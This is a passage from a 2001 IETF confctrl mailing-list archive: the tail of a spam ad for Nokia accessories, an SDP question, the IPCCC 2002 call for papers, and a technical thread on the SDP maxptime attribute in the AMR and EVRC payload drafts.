          <font size=3D"2" face=3D"Arial, Helvetica, sans-serif">large =
image</font></a></div>
      </td>
      <td width=3D"305" height=3D"36" bgcolor=3D"#ffffcc"><font =
size=3D"2" face=3D"Arial, Helvetica, sans-serif">Retail=20
        Price: $79.99<br>
        <font color=3D"#ff0000">Blow Out Price: <b>$34.95</b> (save =
56%)</font></font><br>
        <font face=3D"Arial, Helvetica, sans-serif" size=3D"2"><a =
href=3D"http://www.gogocity.com//product_details.asp?dept%5Fid=3D5031&amp=
;pf%5Fid=3DOS01BTN56L2VK1"=20
     >More=20
        Details...</a></font> <a =
href=3D"http://www.gogocity.com//product_details.asp?dept%5Fid=3D5031&amp=
;pf%5Fid=3DOS01BTN56L2VK1"=20
     ><br>
        <font face=3D"Arial, Helvetica, sans-serif" size=3D"2"><b>Buy it =
NOW <i>!!</i></b></font>=20
        <font size=3D"1" face=3D"Arial, Helvetica, sans-serif" =
color=3D"#ff0000">Free=20
        Shipping</font></a><br>
      </td>
      <td height=3D"36" width=3D"70">=20
        <div align=3D"center"><a =
href=3D"http://www.gogocity.com//product_details.asp?dept%5Fid=3D5031&amp=
;pf%5Fid=3DOS01BTN56L2VK1SLM"=20
     ><img =
src=3D"http://www.gogocity.com//Assets/product_images/OS01/BTN56L2VK1-80.=
JPG" width=3D"70" border=3D"0" alt=3D"Nokia 51xx/6xx Super Slim Black =
Li-ion 1200mAh Vib Battery"><br>
          <font face=3D"Arial, Helvetica, sans-serif" size=3D"2"> large =
image</font></a></div>
      </td>
      <td height=3D"36" width=3D"309" bgcolor=3D"#ffffcc"><font =
size=3D"2" face=3D"Arial, Helvetica, sans-serif">Retail=20
        Price: $70.99<br>
        <font color=3D"#ff0000">Blow Out Price: <b>$29.95</b> (save =
58%)</font></font><br>
        <font face=3D"Arial, Helvetica, sans-serif" size=3D"2"><a =
href=3D"http://www.gogocity.com//product_details.asp?dept%5Fid=3D5031&amp=
;pf%5Fid=3DOS01BTN56L2VK1SLM"=20
     >More=20
        Details...</a></font> <a =
href=3D"http://www.gogocity.com//product_details.asp?dept%5Fid=3D5031&amp=
;pf%5Fid=3DOS01BTN56L2VK1SLM"=20
     ><br>
        <font face=3D"Arial, Helvetica, sans-serif" size=3D"2"><b>Buy it =
NOW <i>!!</i></b></font>=20
        <font size=3D"1" face=3D"Arial, Helvetica, sans-serif" =
color=3D"#ff0000">Free=20
        Shipping</font></a></td>
    </tr>
    <tr valign=3D"top" bgcolor=3D"#99cc99">=20
      <td colspan=3D"2" height=3D"12"><font size=3D"2"><b><font =
face=3D"Arial, Helvetica, sans-serif">7.=20
        </font><font size=3D"2"><b><font size=3D"2"><b><font =
size=3D"2"><b><font face=3D"Arial, Helvetica, =
sans-serif">NOKIA</font></b></font><font face=3D"Arial, Helvetica, =
sans-serif">=20
        51xx/6xx Black NIMH-700mAh Vibrating =
Battery</font></b></font></b></font></b></font></td>
      <td colspan=3D"2" height=3D"12"><font size=3D"2"><b><font =
face=3D"Arial, Helvetica, sans-serif">15.=20
        Nokia 3310/3390 Vertical Leather Magnetic Button =
Pouch</font></b></font></td>
    </tr>
    <tr valign=3D"top">=20
      <td width=3D"78" height=3D"73">=20
        <div align=3D"center"><a =
href=3D"http://www.gogocity.com//product_details.asp?dept%5Fid=3D5031&amp=
;pf%5Fid=3DOS01BTN56N2VK1"=20
     ><img =
src=3D"http://www.gogocity.com//Assets/product_images/OS01/BTN56L2VK1-80.=
JPG" width=3D"70" border=3D"0" alt=3D"NOKIA 51xx/6xx Black NIMH-700mAh =
Vibrating Battery"><br>
          <font size=3D"2" face=3D"Arial, Helvetica, sans-serif">large =
image</font></a></div>
      </td>
      <td width=3D"305" height=3D"73" bgcolor=3D"#ffffcc"><font =
size=3D"2" face=3D"Arial, Helvetica, sans-serif">Retail=20
        Price: $45.99<br>
        <font color=3D"#ff0000">Blow Out Price: <b>$14.95</b> (save =
67%)</font></font><br>
        <font face=3D"Arial, Helvetica, sans-serif" size=3D"2"><a =
href=3D"http://www.gogocity.com//product_details.asp?dept%5Fid=3D5031&amp=
;pf%5Fid=3DOS01BTN56N2VK1"=20
     >More=20
        Details...</a></font> <a =
href=3D"http://www.gogocity.com//product_details.asp?dept%5Fid=3D5031&amp=
;pf%5Fid=3DOS01BTN56N2VK1"=20
     ><br>
        <font face=3D"Arial, Helvetica, sans-serif" size=3D"2"><b>Buy it =
NOW <i>!!</i></b></font>=20
        <font size=3D"1" face=3D"Arial, Helvetica, sans-serif" =
color=3D"#ff0000">Free=20
        Shipping</font></a><br>
      </td>
      <td height=3D"73" width=3D"70">=20
        <div align=3D"center"><a =
href=3D"http://www.gogocity.com//product_details.asp?dept%5Fid=3D5031&amp=
;pf%5Fid=3DOS01CSN331090LK"=20
     ><img =
src=3D"http://www.gogocity.com//Assets/product_images/OS01/CSN8233LK-80.J=
PG" width=3D"70" border=3D"0" alt=3D"Nokia 82xx/33xx Vertical Leather =
Magnetic Button Pouch"><br>
          <font face=3D"Arial, Helvetica, sans-serif" size=3D"2"> large =
image</font></a></div>
      </td>
      <td height=3D"73" width=3D"309" bgcolor=3D"#ffffcc"><font =
size=3D"2" face=3D"Arial, Helvetica, sans-serif">Retail=20
        Price: $24.99 <br>
        <font color=3D"#ff0000">Blow Out Price: <b>$9.95</b> (save =
60%)</font></font><br>
        <font face=3D"Arial, Helvetica, sans-serif" size=3D"2"><a =
href=3D"http://www.gogocity.com//product_details.asp?dept%5Fid=3D5031&amp=
;pf%5Fid=3DOS01CSN331090LK"=20
     >More=20
        Details...</a></font> <a =
href=3D"http://www.gogocity.com//product_details.asp?dept%5Fid=3D5031&amp=
;pf%5Fid=3DOS01CSN8233LK"=20
     ><br>
        <font face=3D"Arial, Helvetica, sans-serif" size=3D"2"><b>Buy it =
NOW <i>!!</i></b></font>=20
        <font size=3D"1" face=3D"Arial, Helvetica, sans-serif" =
color=3D"#ff0000">Free=20
        Shipping</font></a></td>
    </tr>
    <tr valign=3D"top" bgcolor=3D"#99cc99">=20
      <td colspan=3D"2" height=3D"9"><font size=3D"2"><b><font =
face=3D"Arial, Helvetica, sans-serif">8.=20
        Nokia 8260/8290 Data Cable</font></b></font></td>
      <td colspan=3D"2" height=3D"9"><font size=3D"2"><b><font =
face=3D"Arial, Helvetica, sans-serif">16.=20
        Nokia 8260/8290 Vertical Leather Magnetic Button =
Pouch</font></b></font></td>
    </tr>
    <tr valign=3D"top">=20
      <td width=3D"78" height=3D"73">=20
        <div align=3D"center"><a =
href=3D"http://www.gogocity.com//product_details.asp?dept%5Fid=3D5031&amp=
;pf%5Fid=3DOS01DKN8233K"=20
     ><img =
src=3D"http://www.gogocity.com//Assets/product_images/OS01/DKN56K-80.JPG"=
 width=3D"70" border=3D"0" alt=3D"NOKIA 51xx/6xx Data Cable"><br>
          <font face=3D"Arial, Helvetica, sans-serif" size=3D"2"> large =
image</font></a></div>
      </td>
      <td width=3D"305" height=3D"73" bgcolor=3D"#ffffcc"><font =
size=3D"2" face=3D"Arial, Helvetica, sans-serif">Retail=20
        Price: $79.99<br>
        <font color=3D"#ff0000">Blow Out Price: <b>$19.95</b> (save =
75%)</font></font><br>
        <font face=3D"Arial, Helvetica, sans-serif" size=3D"2"><a =
href=3D"http://www.gogocity.com//product_details.asp?dept%5Fid=3D5031&amp=
;pf%5Fid=3DOS01DKN8233K"=20
     >More=20
        Details...</a></font> <a =
href=3D"http://www.gogocity.com//product_details.asp?dept%5Fid=3D5031&amp=
;pf%5Fid=3DOS01DKN8233K"=20
     ><br>
        <font face=3D"Arial, Helvetica, sans-serif" size=3D"2"><b>Buy it =
NOW <i>!!</i></b></font>=20
        <font size=3D"1" face=3D"Arial, Helvetica, sans-serif" =
color=3D"#ff0000">Free=20
        Shipping</font></a></td>
      <td height=3D"73" width=3D"70">=20
        <div align=3D"center"><a =
href=3D"http://www.gogocity.com//product_details.asp?dept%5Fid=3D5031&amp=
;pf%5Fid=3DOS01CSN8233LK"=20
     ><img =
src=3D"http://www.gogocity.com//Assets/product_images/OS01/CSN8233LK-80.J=
PG" width=3D"70" border=3D"0" alt=3D"Nokia 82xx/33xx Vertical Leather =
Magnetic Button Pouch"><br>
          <font face=3D"Arial, Helvetica, sans-serif" size=3D"2"> large =
image</font></a></div>
      </td>
      <td height=3D"73" width=3D"309" bgcolor=3D"#ffffcc"><font =
size=3D"2" face=3D"Arial, Helvetica, sans-serif">Retail=20
        Price: $24.99 <br>
        <font color=3D"#ff0000">Blow Out Price: <b>$9.95</b> (save =
60%)</font></font><br>
        <font face=3D"Arial, Helvetica, sans-serif" size=3D"2"><a =
href=3D"http://www.gogocity.com//product_details.asp?dept%5Fid=3D5031&amp=
;pf%5Fid=3DOS01CSN8233LK"=20
     >More=20
        Details...</a></font> <a =
href=3D"http://www.gogocity.com//product_details.asp?dept%5Fid=3D5031&amp=
;pf%5Fid=3DOS01CSN8233LK"=20
     ><br>
        <font face=3D"Arial, Helvetica, sans-serif" size=3D"2"><b>Buy it =
NOW <i>!!</i></b></font>=20
        <font size=3D"1" face=3D"Arial, Helvetica, sans-serif" =
color=3D"#ff0000">Free=20
        Shipping</font></a></td>
    </tr>
  </table>
</div>
</body>

------=_NextPart_000_C28EC_01C12FF3.E2A33630--

From confctrl-owner  Wed Aug 29 06:13:01 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id GAA26088
	for confctrl-outgoing; Wed, 29 Aug 2001 06:13:01 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id GAA26083
	for <confctrl@zephyr.isi.edu>; Wed, 29 Aug 2001 06:13:00 -0700 (PDT)
Received: from mailgw2.netvision.net.il (mailgw2.netvision.net.il [194.90.1.9])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id f7TDD1v20100
	for <confctrl@isi.edu>; Wed, 29 Aug 2001 06:13:02 -0700 (PDT)
Received: from e-exch.emblazer.com ([212.143.72.66])
	by mailgw2.netvision.net.il (8.9.3/8.9.3) with ESMTP id QAA21370;
	Wed, 29 Aug 2001 16:15:40 +0300 (IDT)
Received: by e-exch.emblazer.com with Internet Mail Service (5.5.2653.19)
	id <R52T31Z5>; Wed, 29 Aug 2001 16:12:36 +0300
Message-ID: <F485675E4CC79748B6435B26782B7C2C1F2307@e-exch.emblazer.com>
From: Shahar Pavel <shaharp@emblazer.com>
To: "'sip@vovida.org'" <sip@vovida.org>
Subject: armature question.
Date: Wed, 29 Aug 2001 16:12:35 +0300
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi 

here goes a question about the sdp :

Does anybody know what is the difference between the two address fields in
the "Session name" ( s= ) and "Connection name" ( c= ) ?

thanks 

********************************
Pavel Shahar
SoftWare Engineer
Emblaze Research
Tel : 972-9-8923200/203
*********************************


From confctrl-owner  Wed Aug 29 07:39:38 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id HAA29692
	for confctrl-outgoing; Wed, 29 Aug 2001 07:39:38 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id HAA29687
	for <confctrl@zephyr.isi.edu>; Wed, 29 Aug 2001 07:39:37 -0700 (PDT)
Received: from cs.uno.edu (pinky.cs.uno.edu [137.30.3.98])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id f7TEddv13320
	for <confctrl@isi.edu>; Wed, 29 Aug 2001 07:39:39 -0700 (PDT)
Received: from cs.uno.edu (adsl-77-232-171.msy.bellsouth.net [216.77.232.171])
	by cs.uno.edu (8.9.3/8.9.3) with ESMTP id JAA14029;
	Wed, 29 Aug 2001 09:34:47 -0500 (CDT)
Message-ID: <3B8CFD14.2DDAB082@cs.uno.edu>
Date: Wed, 29 Aug 2001 09:32:52 -0500
From: "Golden G. Richard III, Ph.D." <golden@cs.uno.edu>
Organization: University of New Orleans
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.4.2-2 i686)
X-Accept-Language: en
MIME-Version: 1.0
CC: tci-announce@listserv.computer.org, tcgn@ieee.org,
        end2end-interest@postel.org, confctrl@ISI.EDU, itc@ieee.org,
        ifip-6-1-distr@run.montefiore.ulg.ac.be,
        ifip-tc6@informatik.rwth-aachen.de, sigmetrics@haven.epm.ornl.gov,
        dbworld@cs.wisc.edu, f-troup@CODEX.cis.upenn.edu,
        rem-conf-request@es.net, cost237-transport@comp.lancs.ac.uk,
        hipparch@sophia.inria.fr, xtp-relay@cs.concordia.ca, rem-conf@es.net,
        commsoft@cc.bellcore.com, cnom@maestro.bellcore.com,
        conf@colmar.uha.fr, multicomm@cc.bellcore.com, kgold@firstconf.com,
        announcements.chi@acm.com, netnomics@eco.utexas.edu,
        IEEETCPC-request@LISTSERV.UTORONTO.CA
Subject: IPCCC 2002 FINAL CALL FOR PAPERS
References: <OFCDFCC9E6.53E7C7AB-ON85256A8E.00703A06@pok.ibm.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk




           *************    FINAL CALL FOR PAPERS    *************

           **** Paper Submission Deadline: September 20, 2001 **** 

 
---------------------------------------------------------------------------
  The 21st International Performance, Computing and Communications
Conference
 
---------------------------------------------------------------------------

                             I P C C C ' 2 0 0 2        

                         http://www.ipccc.org/ipccc02

                              April 3-5, 2002

                        Embassy Suites Phoenix North

                              Phoenix, Arizona

                   Co-sponsored by the IEEE Computer Society 
                   Technical Committee on the Internet, and 
                        the IEEE Communication Society 

International Performance, Computing, and Communications Conference
(IPCCC) is the premier IEEE conference presenting research in the
performance of computer and communication systems. For the last two
decades, IPCCC has been a research forum for academic, industrial, and
government researchers. The lively interactions among the researchers
from these merging fields provide a stimulating environment rich with
new ideas.

We encourage submission of high quality papers reporting original work
in both theoretical and experimental research that address the recent
advances in algorithms, architectures, protocols, wired and wireless
network infrastructure, embedded systems, and distributed and mobile
systems and applications.  Topics of interest include, but are not
limited to, the following:

- Mobile and Networked Applications
- Network Protocols and Performance
- High Performance Computing
- Distributed Computing
- Performance Evaluation Methodologies
- Embedded System Design and Integration
- Storage Systems (file systems, databases)
- Wireless Networks
- Mobile and ad-hoc Networking Protocols
- Mobile, Ubiquitous and Pervasive Computing
- Power-aware Design and Computing
- Network Security
- Internet Computing
- Web Server Performance


Paper submission: 
-----------------

Submitted manuscripts must not exceed 20 pages based on 11-point font
size.
All papers must be submitted electronically in pdf or postscript format. 
Further information on the electronic submission procedure can be
obtained 
from the conference web site. Direct questions regarding your submission
to 
either of the PC Co-Chairs.

        Darrell D. E. Long              Linda F. Wilson
        U California Santa Cruz         Dartmouth College
        darrell@cse.ucsc.edu            Linda.F.Wilson@Dartmouth.EDU


Workshop proposal submission:
-----------------------------

Proposals are solicited for half or full day workshops on special topics 
related to IPCCC.  Proposals must not exeed three pages, and should be 
submitted by email to the Workshops Chair:
        
        Jehan-Francois Paris
        University of Houston
        paris@cs.uh.edu


Panel proposal submission: 
--------------------------

Proposals are solicited for panel sessions on special topics of timely
importance.  Please send your proposal to the Panel Co-Chairs.
Proposals should be no longer than three pages in length and should be
sent by electronic mail to:

        Stephanie Grinage 
        Arizona State University
        sgrinage@asu.edu


Tutorial proposal submission:
-----------------------------
Proposals are solicited for half-day or full-day tutorials on cutting
edge and 
emerging areas related to the conference topics. We invite experts to
submit 
tutorial proposals to the tutorial chair. Proposals should not exceed
three 
pages and should be emailed to: 

        Golden Richard, III 
        University of New Orleans
        golden@cs.uno.edu 



Important Dates: 
----------------
o Papers due .......................................Sept 20, 2001
o Workshops, Tutorials, and Panel proposals due ....Sept 20, 2001
o Notifications of acceptance ......................Dec 1, 2001
o Final manuscripts and registrations due ..........Dec 21, 2001


Executive Committee:
--------------------

General Co-Chairs:
  o Matt Diethelm, Independent Consultant
  o Sumi Helal, University of Florida


General Vice Chair:
  o Eric Johnson, New Mexico State University 


Technical Program Co-Chairs:
  o Darrell D.E. Long, University of California, Santa Cruz
  o Linda F. Wilson, Dartmouth College


Workshop Program Chair:
  o Jehan Francois Paris, University of Houston

Panel Program Chair:
  o Stephanie Grinage, Arizona State University

Tutorial Program Chair:
  o Mike Rabinovich, AT&T Labs - Research

Publication Chair: 
  o Gouliang Xue, Arizona State University

Registration Chairs:
  o Brian Grayson, Motorola 
        
Local Arrangement:
  o Sandeep Gupta, Arizona State University

Publicity Chairs:
  o Golden Richard III, University of New Orleans
  o Rick Harrigan, Arizona State University 

Finance Chair
  o Nasr Ullah, Motorola 

IEEE Liaison:
  o Patricia Teller, University of Texas at El Paso

Far East Liaisons:
  o Jogesh Muppala, University of Hong Kong
  o Hee Yong Youn, Sungkyunkwan University

European Liaisons: 
  o Horst Clausen, University of Salzburg, Austria
  o Otto Koudelka, Technical University Graz, Austria

Web Master: 
  o Ken Logan, Motorola 


Program Committee:
-------------------

Karl Aberer, EPFL

R. Dean Adams, IBM

Ian Akylidiz, Georgia Tech

Scott Brandt, U California Santa Cruz

Walter Burkhard, U of California San Diego

Randal Burns, IBM Almaden Research Center

Roger Chamberlain, Washington University, St. Louis

Steve Chapin, Syracuse University

Ken Christensen, University of South Florida

George Cobb, The University of Texas at Dallas

Rita Cucchiara, University of Modena

Sajal Das, University of Texas at Arlington

Ajoy Datta, UNLV

James Davis, Iowa State University

Brett Fleish, University of California, Riverside

J.J. Garcia-Luna-Aceves, U California Santa Cruz

Mario J. Gonzalez, University of Texas at Austin

Mohamed Gouda, University of Texas at Austin

Salim Hariri, University of Arizona

Hossam Hasanein, Queens University

Chris Hawblitzel, Dartmouth College

Ravi Jain, Telcordia

Anupam Joshi, University of Maryland Baltimore County

Minsoo Lee, Oracle

Brian Levine, U Mass Amherst

Jogesh K. Muppala, HongKong University

Ethan Miller, U California Santa Cruz

Donald Needham, US Naval Academy

David Nicol, Dartmouth College

Mohammed Obaidat, Monmouth University

Stephan Olariu, Old Dominion University

Mohamed Ould-Khaoua, University of Glasco

Jehan-Francois Paris, University of Houston

Sartaj Sahni, University of Florida

Shiroh Sakata, NEC Japan

Clay Shields, Purdue University 


Mukesh Singhal, Ohio State University/NSF


Arun K. Somani, Iowa State University

Wojciech Szpankowski, Purdue University

Hairong Sun, Motorola

Boleslaw Szymanski, RPI

Petia Todorova, GMD-FOKUS

Kishor Trivedi, Duke University

Nitin H. Vaidya, Texas A&M University

Philip Wilsey, University of Cincinnati

Joel Yellin, U California Santa Cruz

Hee Yong Youn, Sungkyunkwan University

Philip S. Yu, IBM Watson Research Center

Franco Zambonelli, University of Modena

-------------------------------------------------------------------------

From confctrl-owner  Thu Aug 30 19:09:38 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id TAA11321
	for confctrl-outgoing; Thu, 30 Aug 2001 19:09:38 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id TAA11316
	for <confctrl@zephyr.isi.edu>; Thu, 30 Aug 2001 19:09:37 -0700 (PDT)
Received: from mailman.packetdesign.com (dns.packetdesign.com [65.192.41.10])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id f7V29ev29194
	for <confctrl@ISI.EDU>; Thu, 30 Aug 2001 19:09:40 -0700 (PDT)
Received: from ash.packetdesign.com (ash.packetdesign.com [192.168.0.243])
	by mailman.packetdesign.com (8.11.0/8.11.0) with ESMTP id f7V29Y242809;
	Thu, 30 Aug 2001 19:09:34 -0700 (PDT)
	(envelope-from casner@packetdesign.com)
Date: Thu, 30 Aug 2001 19:12:53 -0700 (PDT)
From: Stephen Casner <casner@packetdesign.com>
To: <confctrl@ISI.EDU>, AVT WG <avt@ietf.org>
Subject: Re: maxptime (and rtp-mime, AMR and EVRC drafts)
In-Reply-To: <200108281826.f7SIQ6H15165@chiron.nge.isi.edu>
Message-ID: <20010830191131.W41302-100000@ash.packetdesign.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This is a followup to emails on the confctrl (MMUSIC) mailing list
regarding the a=maxptime attribute in SDP.  I'm cc'ing avt because it
affects three drafts there which need changes:

  draft-ietf-avt-rtp-mime-05.txt
  draft-ietf-avt-rtp-amr-10.txt (in AD review after IESG Last Call)
  draft-ietf-avt-evrc-07.txt (in AVT WG last call)

Magnus Westerlund started the exchange by noting that in London at the
MMUSIC meeting there was discussion concerning whether the new SDP
attribute maxptime was not backwards compatible for payload formats
that were standardized before maxptime was defined.  The potential
problem is that a sender that did not understand maxptime would ignore
it and might send more than the receiver was prepared to receive.  It
was suggested that a sentence like the following be added to the the
SDP update draft:

"Note that this attribute is introduced after RFC 2327, and non updated
implementations will ignore this attribute."

Flemming Andreasen commented that doing something like this was
essentially the conclusion of the MMUSIC discussion.  Colin Perkins
has not commented on adding this, though.

QUESTION:  Is it a problem that draft-ietf-avt-rtp-mime-05.txt added
maxptime as an optional parameter for all the MIME registrations it
contains?  If we decide that use of maxptime should be allowed for all
payload formats, then perhaps some sentence like the one quoted above
needs to be added to the rtp-mime draft as well.


A side point that was clarified by Colin Perkins in the confctrl
discussion was that "a=maxptime" is an attribute by itself and cannot
be included as a parameter on the "fmtp" line.  This affects both the
AMR and EVRC drafts which require fixes:

  - The AMR draft mentions "maxptime" only in the MIME registrations.
    The use there is OK.  However, the editing to replace the
    "maxframes" with "maxptime" was incomplete because the SDP
    examples still show "maxframes" in two places.  Considering the
    point above, this must be edited, for example:

    Old:    a=fmtp:99 maxframes=3; interleaving=15
    New:    a=fmtp:99 interleaving=15
	    a=maxptime:60

    Since the AMR draft is in AD review, we should bring this to
    Allison's attention and possibly submit a revised draft unless she
    would prefer to wait to see if she has comments about other things
    to change.


  - The EVRC draft says consistently uses "maxptime", but it needs to
    move:

    Old:    a = fmtp:97 ptype=1; maxptime=80
    Old:    a=fmtp:97 ptype=1
	    a=maxptime:80

    In addition, the EVRC draft begins the example with the statement
    "Parameters are mapped to SDP [5] as usual."  I don't think "as
    usual" is sufficient because the specification of the mapping has
    only been defined since draft-ietf-avt-rtp-mime was written.  The
    EVRC draft should either refer to draft-ietf-avt-rtp-mime or copy
    the relevant text from it.

The authors of these drafts should not be faulted since we decided to
create the "maxptime" SDP attribute as a general replacement for
separate format-specific parameters that were definited initially.

Since "maxptime" is defined in draft-ietf-mmusic-sdp-new-03.txt, the
AMR and EVRC drafts need to refer to that draft rather than to RFC
2327.  They may also need to refer to draft-ietf-avt-rtp-mime-05.txt
for the mapping from MIME parameters to SDP syntax.  This references
make the drafts dependent which may cause some delay.  Perhaps the
revised SDP can be published soon also.  The rtp-mime draft is
dependent on the revised RTP spec and profile.  It is our goal that
these be published soon as well, but their size and significance means
that it may take longer for them to be reviewed.  Reference to the
rtp-mime draft could be avoided by copying the relevant text instead.

							-- Steve


From confctrl-owner  Fri Aug 31 00:23:20 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id AAA29107
	for confctrl-outgoing; Fri, 31 Aug 2001 00:23:20 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id AAA29102
	for <confctrl@zephyr.isi.edu>; Fri, 31 Aug 2001 00:23:19 -0700 (PDT)
Received: from penguin-ext.wise.edt.ericsson.se (penguin-ext.wise.edt.ericsson.se [194.237.142.110])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id f7V7NJv02341
	for <confctrl@ISI.EDU>; Fri, 31 Aug 2001 00:23:20 -0700 (PDT)
Received: from era-t.ericsson.se (koff.ericsson.se [147.214.173.137])
	by penguin.wise.edt.ericsson.se (8.11.0/8.10.1/WIREfire-1.3) with SMTP id f7V7N9v26372;
	Fri, 31 Aug 2001 09:23:10 +0200 (MEST)
Received: from era-t.ericsson.se by era-t.ericsson.se (SMI-8.6/LME-DOM-2.2.5(ERA/T))
	id JAA18594; Fri, 31 Aug 2001 09:23:09 +0200
Message-ID: <3B8F3B63.E165B5A2@era-t.ericsson.se>
Date: Fri, 31 Aug 2001 09:23:15 +0200
From: Magnus Westerlund <magnus.westerlund@era-t.ericsson.se>
X-Mailer: Mozilla 4.74 [en] (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Stephen Casner <casner@packetdesign.com>
CC: confctrl@ISI.EDU, AVT WG <avt@ietf.org>
Subject: Re: [AVT] Re: maxptime (and rtp-mime, AMR and EVRC drafts)
References: <20010830191131.W41302-100000@ash.packetdesign.com>
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi Steve,

You propose to reference the SDP-new draft in AMR payload format for the
definition of maxptime. We have discussed this earlier with the conclusion
that it should be defined in the AMR payload format. The reason is that we
can't wait the necessary time for SDP-new to become an RFC. I believe that
SDP-new will take at least 9 months before being in WG last call. The main
reason is that the SDP interop tests has not yet started, not even a
document on what to test exists. The AMR payload format should have been
finished in march, and absolutely must be an RFC before the end of the
year.

My proposal regarding the maxptime and the AMR payload format is: We agree
on the definition of maxptime that is added in SDP-new, i.e. should any
updates be made regarding the wording and backwards compability issue. Use
that definition in the AMR draft and also update it with comments on how to
place it in SDP, and with correct examples. This will avoid any
dependencies on SDP-new and RTP-Mime which would create delay.

I and Johan Sjöberg will inform Allison Mankin about the error in the SDP
example. We propose that we wait until the IESG or AD has given us their
comments before issuing an update version of the draft. In that way we can
look over and fix any comments in one go.

Regards

Magnus

Stephen Casner wrote:

> This is a followup to emails on the confctrl (MMUSIC) mailing list
> regarding the a=maxptime attribute in SDP.  I'm cc'ing avt because it
> affects three drafts there which need changes:
>
>   draft-ietf-avt-rtp-mime-05.txt
>   draft-ietf-avt-rtp-amr-10.txt (in AD review after IESG Last Call)
>   draft-ietf-avt-evrc-07.txt (in AVT WG last call)
>
> Magnus Westerlund started the exchange by noting that in London at the
> MMUSIC meeting there was discussion concerning whether the new SDP
> attribute maxptime was not backwards compatible for payload formats
> that were standardized before maxptime was defined.  The potential
> problem is that a sender that did not understand maxptime would ignore
> it and might send more than the receiver was prepared to receive.  It
> was suggested that a sentence like the following be added to the the
> SDP update draft:
>
> "Note that this attribute is introduced after RFC 2327, and non updated
> implementations will ignore this attribute."
>
> Flemming Andreasen commented that doing something like this was
> essentially the conclusion of the MMUSIC discussion.  Colin Perkins
> has not commented on adding this, though.
>
> QUESTION:  Is it a problem that draft-ietf-avt-rtp-mime-05.txt added
> maxptime as an optional parameter for all the MIME registrations it
> contains?  If we decide that use of maxptime should be allowed for all
> payload formats, then perhaps some sentence like the one quoted above
> needs to be added to the rtp-mime draft as well.
>
> A side point that was clarified by Colin Perkins in the confctrl
> discussion was that "a=maxptime" is an attribute by itself and cannot
> be included as a parameter on the "fmtp" line.  This affects both the
> AMR and EVRC drafts which require fixes:
>
>   - The AMR draft mentions "maxptime" only in the MIME registrations.
>     The use there is OK.  However, the editing to replace the
>     "maxframes" with "maxptime" was incomplete because the SDP
>     examples still show "maxframes" in two places.  Considering the
>     point above, this must be edited, for example:
>
>     Old:    a=fmtp:99 maxframes=3; interleaving=15
>     New:    a=fmtp:99 interleaving=15
>             a=maxptime:60
>
>     Since the AMR draft is in AD review, we should bring this to
>     Allison's attention and possibly submit a revised draft unless she
>     would prefer to wait to see if she has comments about other things
>     to change.
>
>   - The EVRC draft says consistently uses "maxptime", but it needs to
>     move:
>
>     Old:    a = fmtp:97 ptype=1; maxptime=80
>     Old:    a=fmtp:97 ptype=1
>             a=maxptime:80
>
>     In addition, the EVRC draft begins the example with the statement
>     "Parameters are mapped to SDP [5] as usual."  I don't think "as
>     usual" is sufficient because the specification of the mapping has
>     only been defined since draft-ietf-avt-rtp-mime was written.  The
>     EVRC draft should either refer to draft-ietf-avt-rtp-mime or copy
>     the relevant text from it.
>
> The authors of these drafts should not be faulted since we decided to
> create the "maxptime" SDP attribute as a general replacement for
> separate format-specific parameters that were definited initially.
>
> Since "maxptime" is defined in draft-ietf-mmusic-sdp-new-03.txt, the
> AMR and EVRC drafts need to refer to that draft rather than to RFC
> 2327.  They may also need to refer to draft-ietf-avt-rtp-mime-05.txt
> for the mapping from MIME parameters to SDP syntax.  This references
> make the drafts dependent which may cause some delay.  Perhaps the
> revised SDP can be published soon also.  The rtp-mime draft is
> dependent on the revised RTP spec and profile.  It is our goal that
> these be published soon as well, but their size and significance means
> that it may take longer for them to be reviewed.  Reference to the
> rtp-mime draft could be avoided by copying the relevant text instead.
>
>                                                         -- Steve
>
> _______________________________________________
> Audio/Video Transport Working Group
> avt@ietf.org
> http://www1.ietf.org/mailman/listinfo/avt

--

Magnus Westerlund

Audio Technology, Ericsson Research
----------------------------------------------------------------------
Ericsson Radio Systems AB  | Phone +46 8 4048287
Torshamsgatan 23           | Fax   +46 8 7575550
S-164 80 Stockholm, Sweden | mailto: magnus.westerlund@era-t.ericsson.se



From confctrl-owner  Fri Aug 31 16:11:20 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id QAA25118
	for confctrl-outgoing; Fri, 31 Aug 2001 16:11:20 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id QAA25113
